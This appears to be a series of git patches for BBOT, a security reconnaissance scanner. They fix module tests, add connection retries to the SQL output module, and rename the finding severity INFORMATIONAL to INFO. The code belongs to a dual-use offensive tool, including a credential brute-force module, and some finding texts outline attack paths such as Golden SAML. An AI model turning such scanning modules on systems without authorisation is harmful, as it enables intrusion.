"sha256:e5980d96ac2742e997e55ba20d2746d3a42298bbb5e7d327562a01bac70c9268", size = 2331285, upload-time = "2025-05-02T11:17:21.684Z" }, + { url = "https://files.pythonhosted.org/packages/40/8b/32acec8da17f91377331d55d01c90f6cd3971584209ae29647a6ce29721d/yara_python-4.5.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e857bc94ef54d5db89e0a58652df609753d5b95f837dde101e1058dd755896b5", size = 2949045, upload-time = "2025-05-02T11:17:23.206Z" }, + { url = "https://files.pythonhosted.org/packages/76/42/4d1f67f09b10e0aa087214522fb1ea7fe68b54bb1d09111687d3683956f6/yara_python-4.5.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:98b4732a9f5b184ade78b4675501fbdc4975302dc78aa3e917c60ca4553980d5", size = 2420755, upload-time = "2025-05-02T11:17:25.178Z" }, + { url = "https://files.pythonhosted.org/packages/76/c1/ea7a67235e9c43a27c89454c38555338683015a3cc9fe20f44a2163f2361/yara_python-4.5.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:57928557c85af27d27cca21de66d2070bf1860de365fb18fc591ddfb1778b959", size = 2639331, upload-time = "2025-05-02T11:17:26.697Z" }, + { url = "https://files.pythonhosted.org/packages/42/82/64ef5a30f39554f7b58e8a42db31dd284766d50504fb23d19475becc83f8/yara_python-4.5.2-cp313-cp313-win32.whl", hash = "sha256:d7b58296ed2d262468d58f213b19df3738e48d46b8577485aecca0edf703169f", size = 1447528, upload-time = "2025-05-02T11:17:28.166Z" }, + { url = "https://files.pythonhosted.org/packages/90/fb/93452ff294669f935d457ec5376a599dd93da0ac7a9a590e58c1e537df13/yara_python-4.5.2-cp313-cp313-win_amd64.whl", hash = "sha256:2f6ccde3f30d0c3cda9a86e91f2a74073c9aeb127856d9a62ed5c4bb22ccd75f", size = 1825770, upload-time = "2025-05-02T11:17:29.584Z" }, ] [[package]] From 719ca2541ac88979d0c14e880c5a1e87ed92c667 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Tue, 17 Feb 2026 16:54:22 -0500 Subject: [PATCH 229/912] fix censys ip test --- bbot/modules/censys_ip.py | 16 ++++++++-------- .../module_tests/test_module_censys_ip.py | 2 +- 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/bbot/modules/censys_ip.py b/bbot/modules/censys_ip.py index fa82dc33c7..2ec94e4507 100644 --- a/bbot/modules/censys_ip.py +++ b/bbot/modules/censys_ip.py @@ -165,13 +165,13 @@ async def _emit_host(self, host, event, seen, source): # Validate and emit as DNS_NAME try: validated = self.helpers.validators.validate_host(host) + if validated and validated not in seen: + seen.add(validated) + await self.emit_event( + validated, + "DNS_NAME", + parent=event, + context=f"{{module}} found {{event.data}} in {source} of {{event.parent.data}}", + ) except ValueError as e: self.debug(f"Error validating host {host} in {source}: {e}") - if validated and validated not in seen: - seen.add(validated) - await self.emit_event( - validated, - "DNS_NAME", - parent=event, - context=f"{{module}} found {{event.data}} in {source} of {{event.parent.data}}", - ) diff --git a/bbot/test/test_step_2/module_tests/test_module_censys_ip.py b/bbot/test/test_step_2/module_tests/test_module_censys_ip.py index 4aff673486..c47891b7ef 100644 --- a/bbot/test/test_step_2/module_tests/test_module_censys_ip.py +++ b/bbot/test/test_step_2/module_tests/test_module_censys_ip.py @@ -197,7 +197,7 @@ def check(self, module_test, events): e.type == "TECHNOLOGY" and e.data["technology"] == "cpe:2.3:a:apache:tomcat:9.0.50:*:*:*:*:*:*:*" for e in events ), "Failed to detect Apache Tomcat technology with CPE" - assert any(e.type == "TECHNOLOGY" and e.data["technology"] == "Java" for e in events), ( + assert any(e.type == "TECHNOLOGY" and e.data["technology"] == "java" for e in events), ( "Failed to detect Java technology without CPE" ) From 1067039a3729d61e91b2856540b42e68ed8225d8 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Wed, 18 Feb 2026 14:09:46 -0500 Subject: [PATCH 230/912] fix web_report test --- bbot/test/test_step_2/module_tests/test_module_web_report.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_web_report.py b/bbot/test/test_step_2/module_tests/test_module_web_report.py index 7ac245e8e1..92db464d7b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_web_report.py +++ b/bbot/test/test_step_2/module_tests/test_module_web_report.py @@ -28,7 +28,7 @@ def check(self, module_test, events): ) assert """Possible Secret Found. Detector Type: [PrivateKey]""" in report_content assert "<h3>TECHNOLOGY</h3>" in report_content - assert "<li>DotNetNuke</li>" in report_content + assert "<li>dotnetnuke</li>" in report_content web_body = """ From 3db25e7f591759fdd8f7e636dfe282acf58ad17b Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Wed, 18 Feb 2026 14:12:50 -0500 Subject: [PATCH 231/912] fix legba tests --- bbot/modules/deadly/legba.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/modules/deadly/legba.py b/bbot/modules/deadly/legba.py index 2c62a77032..9be33af78d 100644 --- a/bbot/modules/deadly/legba.py +++ b/bbot/modules/deadly/legba.py @@ -133,6 +133,7 @@ async def parse_output(self, output_filepath, event): "confidence": "CONFIRMED", "host": str(event.host), "port": str(event.port), + "name": f"Legba - {protocol.upper()} Credentials", "description": f"Valid {protocol} credentials found - {message_addition}", }, "FINDING", From e84d2aecb8f7975bda5f5704ede13d3c05925683 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Thu, 19 Feb 2026 11:00:56 -0500 Subject: [PATCH 232/912] fix mysql tests --- .../module_tests/test_module_mysql.py | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_mysql.py b/bbot/test/test_step_2/module_tests/test_module_mysql.py index de30c58f9f..4afd81abf7 100644 --- a/bbot/test/test_step_2/module_tests/test_module_mysql.py +++ b/bbot/test/test_step_2/module_tests/test_module_mysql.py @@ -27,11 +27,24 @@ async def setup_before_prep(self, module_test): ) stdout, stderr = await process.communicate() + if process.returncode != 0: + self.log.error(f"Failed to start MySQL server: {stderr.decode()}") + # wait for the container to start await self.wait_for_port_open(3306) - if process.returncode != 0: - self.log.error(f"Failed to start MySQL server: {stderr.decode()}") + # wait for MySQL to actually be ready, not just accepting connections + import aiomysql + + for _ in range(30): + try: + conn = await aiomysql.connect(user="root", password="bbotislife", db="bbot", host="localhost") + conn.close() + break + except Exception: + await asyncio.sleep(1) + else: + raise RuntimeError("MySQL did not become ready in time") async def check(self, module_test, events): import aiomysql From bebca4b8782f54bc8abe9b04cca423c082aa5c09 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Thu, 19 Feb 2026 11:07:43 -0500 Subject: [PATCH 233/912] fix mysql test again --- bbot/modules/templates/sql.py | 24 ++++++++++++++++--- .../module_tests/test_module_mysql.py | 17 ++----------- 2 files changed, 23 insertions(+), 18 deletions(-) diff --git a/bbot/modules/templates/sql.py b/bbot/modules/templates/sql.py index 42f5494555..8d7931fe0d 100644 --- a/bbot/modules/templates/sql.py +++ b/bbot/modules/templates/sql.py @@ -1,3 +1,4 @@ +import asyncio from contextlib import suppress from sqlmodel import SQLModel from sqlalchemy.orm import sessionmaker @@ -15,6 +16,7 @@ class SQLTemplate(BaseOutputModule): "password": "", "host": "127.0.0.1", "port": 0, + "retries": 10, } options_desc = { "database": "The database to use", @@ -22,6 +24,7 @@ class SQLTemplate(BaseOutputModule): "password": "The password to use to connect to the database", "host": "The host to use to connect to the database", "port": "The port to use to connect to the database", + "retries": "Number of times to retry connecting to the database (1 second between retries)", } protocol = "" @@ -32,9 +35,24 @@ async def setup(self): self.password = self.config.get("password", "") self.host = self.config.get("host", "127.0.0.1") self.port = self.config.get("port", 0) - - await self.init_database() - return True + retries = self.config.get("retries", 10) + + connection_string = self.connection_string(mask_password=True) + last_error = None + max_attempts = retries + 1 + for attempt in range(max_attempts): + try: + self.verbose(f"Connecting to {connection_string} (attempt {attempt + 1}/{max_attempts})") + await self.init_database() + self.verbose(f"Successfully connected to {connection_string}") + return True + except Exception as e: + last_error = e + if attempt < retries: + self.verbose(f"Failed to connect to {connection_string} (attempt {attempt + 1}/{max_attempts}): {e}") + await asyncio.sleep(1) + + return False, f"Failed to reach {connection_string} after {max_attempts} attempts: {last_error}" async def handle_event(self, event): event_obj = Event(**event.json()).validated diff --git a/bbot/test/test_step_2/module_tests/test_module_mysql.py b/bbot/test/test_step_2/module_tests/test_module_mysql.py index 4afd81abf7..de30c58f9f 100644 --- a/bbot/test/test_step_2/module_tests/test_module_mysql.py +++ b/bbot/test/test_step_2/module_tests/test_module_mysql.py @@ -27,24 +27,11 @@ async def setup_before_prep(self, module_test): ) stdout, stderr = await process.communicate() - if process.returncode != 0: - self.log.error(f"Failed to start MySQL server: {stderr.decode()}") - # wait for the container to start await self.wait_for_port_open(3306) - # wait for MySQL to actually be ready, not just accepting connections - import aiomysql - - for _ in range(30): - try: - conn = await aiomysql.connect(user="root", password="bbotislife", db="bbot", host="localhost") - conn.close() - break - except Exception: - await asyncio.sleep(1) - else: - raise RuntimeError("MySQL did not become ready in time") + if process.returncode != 0: + self.log.error(f"Failed to start MySQL server: {stderr.decode()}") async def check(self, module_test, events): import aiomysql From 43e5730a8956f583e8fb1b8fa9471646418bbd98 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Thu, 19 Feb 2026 11:33:26 -0500 Subject: [PATCH 234/912] ruffed --- bbot/modules/templates/sql.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/bbot/modules/templates/sql.py b/bbot/modules/templates/sql.py index 8d7931fe0d..ef12ef7bf7 100644 --- a/bbot/modules/templates/sql.py +++ b/bbot/modules/templates/sql.py @@ -49,7 +49,9 @@ async def setup(self): except Exception as e: last_error = e if attempt < retries: - self.verbose(f"Failed to connect to {connection_string} (attempt {attempt + 1}/{max_attempts}): {e}") + self.verbose( + f"Failed to connect to {connection_string} (attempt {attempt + 1}/{max_attempts}): {e}" + ) await asyncio.sleep(1) return False, f"Failed to reach {connection_string} after {max_attempts} attempts: {last_error}" From 8c7f6f9832ac07b0ebe9f502932272a233bf228b Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Thu, 19 Feb 2026 15:16:50 -0500 Subject: [PATCH 235/912] tests, ruff, INFORMATIONAL -> INFO --- bbot/core/event/base.py | 2 +- bbot/core/helpers/validators.py | 2 +- bbot/modules/azure_tenant.py | 19 +- bbot/modules/badsecrets.py | 2 +- bbot/modules/bypass403.py | 2 +- bbot/modules/graphql_introspection.py | 2 +- bbot/modules/host_header.py | 4 +- bbot/modules/hunt.py | 2 +- bbot/modules/internal/excavate.py | 6 +- bbot/modules/lightfuzz/submodules/crypto.py | 6 +- bbot/modules/newsletters.py | 2 +- bbot/modules/ntlm.py | 2 +- bbot/modules/nuclei.py | 2 +- bbot/modules/oauth.py | 4 +- bbot/modules/output/stdout.py | 4 +- bbot/modules/reflected_parameters.py | 2 +- bbot/modules/telerik.py | 12 +- bbot/modules/templates/webhook.py | 6 +- bbot/modules/url_manipulation.py | 2 +- bbot/modules/wpscan.py | 2 +- bbot/test/bbot_fixtures.py | 4 +- bbot/test/test_step_1/test_events.py | 10 +- bbot/test/test_step_1/test_helpers.py | 2 +- .../module_tests/test_module_azure_tenant.py | 14 +- .../module_tests/test_module_discord.py | 2 +- .../module_tests/test_module_excavate.py | 4 +- .../module_tests/test_module_hunt.py | 2 +- .../module_tests/test_module_oauth.py | 42 +- .../module_tests/test_module_slack.py | 2 +- .../module_tests/test_module_teams.py | 4 +- docs/data/chord_graph/entities.json | 1109 ++++++++--------- docs/data/chord_graph/rels.json | 969 +++++++------- docs/modules/list_of_modules.md | 47 +- docs/modules/nuclei.md | 2 +- docs/scanning/advanced.md | 31 +- docs/scanning/configuration.md | 46 +- docs/scanning/events.md | 71 +- docs/scanning/index.md | 48 +- docs/scanning/presets_list.md | 68 +- 39 files changed, 1250 insertions(+), 1312 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index aae09dcb56..e3609fe14c 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1551,7 +1551,7 @@ class FINDING(ClosestHostEvent): "HIGH": "🟥", "MEDIUM": "🟧", "LOW": "🟨", - "INFORMATIONAL": "⬜", + "INFO": "⬜", } confidence_colors = { diff --git a/bbot/core/helpers/validators.py b/bbot/core/helpers/validators.py index 9385f34103..27c8bd0fea 100644 --- a/bbot/core/helpers/validators.py +++ b/bbot/core/helpers/validators.py @@ -129,7 +129,7 @@ def validate_host(host: Union[str, ipaddress.IPv4Address, ipaddress.IPv6Address] raise ValidationError(f'Invalid hostname: "{host}"') -FINDING_SEVERITY_LEVELS = ("INFORMATIONAL", "LOW", "MEDIUM", "HIGH", "CRITICAL") +FINDING_SEVERITY_LEVELS = ("INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL") @validator diff --git a/bbot/modules/azure_tenant.py b/bbot/modules/azure_tenant.py index d2a3adafe9..8a465d9a33 100644 --- a/bbot/modules/azure_tenant.py +++ b/bbot/modules/azure_tenant.py @@ -446,7 +446,7 @@ async def emit_findings(self, event, domain, tenant_data): "host": domain, "name": "Azure AD Desktop SSO Enabled", "description": f"Azure AD Desktop SSO (Seamless SSO) is enabled for {domain}, indicating pass-through authentication or password hash sync from on-premises Active Directory. This reveals hybrid infrastructure where compromising the on-premises environment could provide a pivot point into Azure AD.", - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "MEDIUM", }, "FINDING", @@ -461,7 +461,7 @@ async def emit_findings(self, event, domain, tenant_data): "host": domain, "name": "Certificate-Based Authentication Enabled", "description": f"Certificate-based authentication is enabled for {domain}. This provides an alternative authentication vector where stolen or compromised certificates can be used for access, potentially bypassing MFA and password-based security controls.", - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "HIGH", }, "FINDING", @@ -477,7 +477,7 @@ async def emit_findings(self, event, domain, tenant_data): "host": domain, "name": "Azure Government Cloud Tenant", "description": f"{domain} is hosted on Azure Government Cloud ({cloud_type}), indicating a high-value target that likely handles sensitive government data, classified information, or critical infrastructure systems.", - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "HIGH", }, "FINDING", @@ -492,7 +492,7 @@ async def emit_findings(self, event, domain, tenant_data): "host": domain, "name": "Directory Synchronization Enabled", "description": f"Directory synchronization (Azure AD Connect or Cloud Sync) is enabled for {domain}, indicating hybrid identity infrastructure. Compromising the on-premises Active Directory would allow an attacker to sync malicious changes to Azure AD, including creating backdoor accounts.", - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "HIGH", }, "FINDING", @@ -510,20 +510,23 @@ async def emit_findings(self, event, domain, tenant_data): "full_url": fed_url, # Preserve full URL with query string "name": "Federated Authentication Detected", "description": f"{domain} uses federated authentication with an external identity provider at {fed_url}. Compromising the federated IdP would grant access to Azure AD, and misconfigurations in the federation trust can be exploited (e.g., Golden SAML attacks).", - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "HIGH", }, "FINDING", parent=event, tags=["azure-federated"], ) - # Also emit URL for further enumeration - await self.emit_event( + # Also emit URL for further enumeration (ms-auth-url tag triggers oauth module OIDC check) + fed_url_event = self.make_event( fed_url, "URL_UNVERIFIED", parent=event, - tags=["affiliate", "azure-federation-url"], + tags=["affiliate", "ms-auth-url"], ) + if fed_url_event: + fed_url_event.source_domain = domain + await self.emit_event(fed_url_event) def _derive_cloud_type(self, openid_data): """Derive cloud type from OpenID configuration data.""" diff --git a/bbot/modules/badsecrets.py b/bbot/modules/badsecrets.py index 89f961dabd..8dce3664b3 100644 --- a/bbot/modules/badsecrets.py +++ b/bbot/modules/badsecrets.py @@ -97,7 +97,7 @@ async def handle_event(self, event): "description": f"Cryptographic Product identified. Product Type: [{r['description']['product']}] Product: [{self.helpers.truncate_string(r['product'], 2000)}] Detecting Module: [{r['detecting_module']}]", "url": event.data["url"], "host": str(event.host), - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "CONFIRMED", } await self.emit_event( diff --git a/bbot/modules/bypass403.py b/bbot/modules/bypass403.py index 769f341e9e..22666780e2 100644 --- a/bbot/modules/bypass403.py +++ b/bbot/modules/bypass403.py @@ -145,7 +145,7 @@ async def handle_event(self, event): "description": f"403 Bypass MULTIPLE SIGNATURES (exceeded threshold {str(collapse_threshold)})", "host": str(event.host), "url": event.data, - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "LOW", }, "FINDING", diff --git a/bbot/modules/graphql_introspection.py b/bbot/modules/graphql_introspection.py index df9b84fd4f..27128d80c6 100644 --- a/bbot/modules/graphql_introspection.py +++ b/bbot/modules/graphql_introspection.py @@ -142,7 +142,7 @@ async def handle_event(self, event): "url": url, "description": f"GraphQL Schema at {url}", "path": relative_path, - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "CONFIRMED", }, "FINDING", diff --git a/bbot/modules/host_header.py b/bbot/modules/host_header.py index f2511bb360..60dc12b546 100644 --- a/bbot/modules/host_header.py +++ b/bbot/modules/host_header.py @@ -146,7 +146,7 @@ async def handle_event(self, event): "url": url, "description": description, "name": "Duplicate Host Header Tolerated", - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "LOW", }, "FINDING", @@ -191,7 +191,7 @@ async def handle_event(self, event): "url": url, "description": description, "name": "Possible Host Header Injection", - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "LOW", }, "FINDING", diff --git a/bbot/modules/hunt.py b/bbot/modules/hunt.py index 3b6c4239cc..249a451eba 100644 --- a/bbot/modules/hunt.py +++ b/bbot/modules/hunt.py @@ -316,7 +316,7 @@ async def handle_event(self, event): "host": str(event.host), "description": description, "name": "Potentially Interesting Parameter", - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "LOW", } url = event.data.get("url", "") diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index c019758432..5c3cb08486 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -155,7 +155,7 @@ async def preprocess(self, r, event, discovery_context): description = "" tags = [] emit_match = False - severity = "INFORMATIONAL" + severity = "INFO" confidence = "UNKNOWN" if "description" in r.meta.keys(): @@ -734,7 +734,7 @@ def __init__(self, excavate): signature_component_list.append(rf"${signature_name} = {signature}") signature_component = " ".join(signature_component_list) self.yara_rules["error_detection"] = ( - f'rule error_detection {{meta: description = "contains a verbose error message" severity = "INFORMATIONAL" confidence = "MEDIUM" strings: {signature_component} condition: any of them}}' + f'rule error_detection {{meta: description = "contains a verbose error message" severity = "INFO" confidence = "MEDIUM" strings: {signature_component} condition: any of them}}' ) async def process(self, yara_results, event, yara_rule_settings, discovery_context): @@ -766,7 +766,7 @@ def __init__(self, excavate): regexes_component_list.append(rf"${regex_name} = /\b{regex.pattern}/") regexes_component = " ".join(regexes_component_list) self.yara_rules["serialization_detection"] = ( - f'rule serialization_detection {{meta: description = "contains a possible serialized object" severity = "INFORMATIONAL" confidence = "MEDIUM" strings: {regexes_component} condition: any of them}}' + f'rule serialization_detection {{meta: description = "contains a possible serialized object" severity = "INFO" confidence = "MEDIUM" strings: {regexes_component} condition: any of them}}' ) async def process(self, yara_results, event, yara_rule_settings, discovery_context): diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index 6a0e4ee4ce..1f934751b3 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -321,7 +321,7 @@ async def error_string_search(self, text_dict, baseline_text): self.results.append( { "name": "Possible Cryptographic Error", - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "LOW", "description": f"Possible Cryptographic Error. {self.metadata()} Strings: [{','.join(unique_matches)}] Detection Technique(s): [{','.join(matching_techniques)}]", "context": context, @@ -417,7 +417,7 @@ async def fuzz(self): self.results.append( { "name": "Probable Cryptographic Parameter", - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "LOW", "description": f"Probable Cryptographic Parameter. {self.metadata()} Detection Technique(s): [{', '.join(confirmed_techniques)}]", "context": context, @@ -473,7 +473,7 @@ async def fuzz(self): self.results.append( { "name": "Possible Length Extension Attack", - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "LOW", "description": f"Possible {self.event.data['type']} parameter with {hash_instance.name.upper()} Hash as value. {self.metadata()}, linked to additional parameter [{additional_param_name}]", "context": context, diff --git a/bbot/modules/newsletters.py b/bbot/modules/newsletters.py index 17f5a1c98d..06aea18269 100644 --- a/bbot/modules/newsletters.py +++ b/bbot/modules/newsletters.py @@ -56,7 +56,7 @@ async def handle_event(self, event): "description": description, "url": _event.data["url"], "name": "Newsletter Submission Form", - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "LOW", } await self.emit_event( diff --git a/bbot/modules/ntlm.py b/bbot/modules/ntlm.py index 73cf83b6bd..c62c7f41f7 100644 --- a/bbot/modules/ntlm.py +++ b/bbot/modules/ntlm.py @@ -121,7 +121,7 @@ async def handle_event(self, event): "url": url, "description": f"NTLM AUTH: {ntlm_resp_decoded}", "name": "NTLM Authentication", - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "HIGH", }, "FINDING", diff --git a/bbot/modules/nuclei.py b/bbot/modules/nuclei.py index f543bdb9ad..2280d5b66a 100644 --- a/bbot/modules/nuclei.py +++ b/bbot/modules/nuclei.py @@ -176,7 +176,7 @@ async def handle_batch(self, *events): "url": url, "description": description_string, "name": f"Nuclei Vuln - {name}", - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "HIGH", }, "FINDING", diff --git a/bbot/modules/oauth.py b/bbot/modules/oauth.py index 922cbc0558..26bb8f843b 100644 --- a/bbot/modules/oauth.py +++ b/bbot/modules/oauth.py @@ -66,7 +66,7 @@ async def handle_event(self, event): "description": f"OpenID Connect Endpoint (domain: {source_domain}) found at {url}", "host": event.host, "url": url, - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "HIGH", }, "FINDING", @@ -108,7 +108,7 @@ async def handle_event(self, event): "description": description, "host": event.host, "url": url, - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "LOW", }, "FINDING", diff --git a/bbot/modules/output/stdout.py b/bbot/modules/output/stdout.py index e642122feb..56586091d9 100644 --- a/bbot/modules/output/stdout.py +++ b/bbot/modules/output/stdout.py @@ -16,7 +16,7 @@ class Stdout(BaseOutputModule): "accept_dupes": "Whether to show duplicate events, default True", } vuln_severity_map = { - "INFORMATIONAL": "HUGEINFO", + "INFO": "HUGEINFO", "LOW": "HUGEWARNING", "MEDIUM": "HUGEWARNING", "HIGH": "CRITICAL", @@ -62,7 +62,7 @@ async def handle_text(self, event, event_json): # log findings in vivid colors based on severity if event.type == "FINDING": - severity = event.data.get("severity", "INFORMATIONAL") + severity = event.data.get("severity", "INFO") if severity in self.vuln_severity_map: loglevel = self.vuln_severity_map[severity] log_to_stderr(event_str, level=loglevel, logname=False) diff --git a/bbot/modules/reflected_parameters.py b/bbot/modules/reflected_parameters.py index 84b029347d..5ecc1fe8d8 100644 --- a/bbot/modules/reflected_parameters.py +++ b/bbot/modules/reflected_parameters.py @@ -30,7 +30,7 @@ async def handle_event(self, event): "description": description, "url": url, "name": "Reflected Parameter", - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "HIGH", } await self.emit_event(data, "FINDING", event) diff --git a/bbot/modules/telerik.py b/bbot/modules/telerik.py index 94d10f426c..19ee08f5bf 100644 --- a/bbot/modules/telerik.py +++ b/bbot/modules/telerik.py @@ -247,7 +247,7 @@ async def handle_event(self, event): "url": f"{base_url}{webresource}", "description": description, "name": "Telerik Handler", - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "HIGH", }, "FINDING", @@ -322,7 +322,7 @@ async def handle_event(self, event): "description": description, "name": "Telerik Handler", "confidence": "CONFIRMED", - "severity": "INFORMATIONAL", + "severity": "INFO", }, "FINDING", event, @@ -349,7 +349,7 @@ async def handle_event(self, event): "description": description, "name": "Telerik Handler", "confidence": "CONFIRMED", - "severity": "INFORMATIONAL", + "severity": "INFO", }, "FINDING", event, @@ -371,7 +371,7 @@ async def handle_event(self, event): "description": "Telerik ChartImage AXD Handler Detected", "name": "Telerik Handler", "confidence": "CONFIRMED", - "severity": "INFORMATIONAL", + "severity": "INFO", }, "FINDING", event, @@ -390,7 +390,7 @@ async def handle_event(self, event): "description": "Telerik DialogHandler [SerializedParameters] Detected in HTTP Response", "name": "Telerik Handler", "confidence": "CONFIRMED", - "severity": "INFORMATIONAL", + "severity": "INFO", }, "FINDING", event, @@ -404,7 +404,7 @@ async def handle_event(self, event): "description": "Telerik AsyncUpload [serializedConfiguration] Detected in HTTP Response", "name": "Telerik AsyncUpload", "confidence": "CONFIRMED", - "severity": "INFORMATIONAL", + "severity": "INFO", }, "FINDING", event, diff --git a/bbot/modules/templates/webhook.py b/bbot/modules/templates/webhook.py index c6fc23d812..1452e561cd 100644 --- a/bbot/modules/templates/webhook.py +++ b/bbot/modules/templates/webhook.py @@ -11,7 +11,7 @@ class WebhookOutputModule(BaseOutputModule): accept_dupes = False message_size_limit = 2000 content_key = "content" - severities = ["INFORMATIONAL", "LOW", "MEDIUM", "HIGH", "CRITICAL"] + severities = ["INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL"] confidences = ["UNKNOWN", "LOW", "MEDIUM", "HIGH", "CONFIRMED"] # abort module after 10 failed requests (not including retries) @@ -54,7 +54,7 @@ def get_watched_events(self): async def filter_event(self, event): if event.type == "FINDING": - severity = event.data.get("severity", "INFORMATIONAL") + severity = event.data.get("severity", "INFO") if severity not in self.allowed_severities: return False, f"{severity} is below min_severity threshold" return True @@ -73,7 +73,7 @@ def format_message_other(self, event): def get_colors(self, event): if event.type == "FINDING": - severity = event.data.get("severity", "INFORMATIONAL") + severity = event.data.get("severity", "INFO") confidence = event.data.get("confidence", "UNKNOWN") severity_color = event.severity_colors.get(severity, "⬜") confidence_color = event.confidence_colors.get(confidence, "⚪") diff --git a/bbot/modules/url_manipulation.py b/bbot/modules/url_manipulation.py index ee73a3ee6a..b4b61783b3 100644 --- a/bbot/modules/url_manipulation.py +++ b/bbot/modules/url_manipulation.py @@ -84,7 +84,7 @@ async def handle_event(self, event): "host": str(event.host), "url": event.data, "name": "URL Manipulation", - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "LOW", }, "FINDING", diff --git a/bbot/modules/wpscan.py b/bbot/modules/wpscan.py index 835ab5e5ad..3931c45af6 100644 --- a/bbot/modules/wpscan.py +++ b/bbot/modules/wpscan.py @@ -179,7 +179,7 @@ def parse_wp_misc(self, interesting_json, base_url, source_event): "url": url, "host": str(source_event.host), "name": "WPScan - Possible Vulnerability", - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "MEDIUM", }, "FINDING", diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index 6a6adbc45c..997813b77d 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -203,7 +203,7 @@ class bbot_events: finding = scan.make_event( { "host": "evilcorp.com", - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "HIGH", "description": "asdf", "name": "Test Finding", @@ -217,7 +217,7 @@ class bbot_events: "host": "evilcorp.com", "description": "asdf", "name": "Finding", - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "HIGH", }, "FINDING", diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 5233ce68f5..c8776b122e 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -347,11 +347,11 @@ async def test_events(events, helpers): dummy=True, ) assert test_vuln.data["host"] == "evilcorp.com" - assert test_vuln.data["severity"] == "INFORMATIONAL" + assert test_vuln.data["severity"] == "INFO" test_vuln2 = scan.make_event( { "host": "192.168.1.1", - "severity": "INFORMATIONAL", + "severity": "INFO", "confidence": "HIGH", "description": "asdf", "name": "Vulnerability", @@ -359,14 +359,14 @@ async def test_events(events, helpers): "FINDING", dummy=True, ) - assert json.loads(test_vuln2.data_human)["severity"] == "INFORMATIONAL" + assert json.loads(test_vuln2.data_human)["severity"] == "INFO" assert test_vuln2.host.is_private # must have severity with pytest.raises(ValidationError, match=".*validation error.*\nseverity\n.*Field required.*"): test_vuln = scan.make_event({"host": "evilcorp.com", "description": "asdf"}, "FINDING", dummy=True) with pytest.raises(ValidationError, match=".*host.*\n.*Invalid host.*"): test_vuln = scan.make_event( - {"host": "!@#$", "severity": "INFORMATIONAL", "confidence": "HIGH", "description": "asdf"}, + {"host": "!@#$", "severity": "INFO", "confidence": "HIGH", "description": "asdf"}, "FINDING", dummy=True, ) @@ -428,7 +428,7 @@ async def test_events(events, helpers): # must have name with pytest.raises(ValidationError, match=".*name.*\n.*Field required.*"): test_vuln = scan.make_event( - {"host": "evilcorp.com", "severity": "INFORMATIONAL", "description": "asdf", "confidence": "HIGH"}, + {"host": "evilcorp.com", "severity": "INFO", "description": "asdf", "confidence": "HIGH"}, "FINDING", dummy=True, ) diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index 0c71c56e42..f6485bdc4f 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -444,7 +444,7 @@ async def test_helpers_misc(helpers, scan, bbot_scanner, bbot_httpserver): with pytest.raises(ValueError): helpers.validators.validate_url("!@#$") # severities - assert 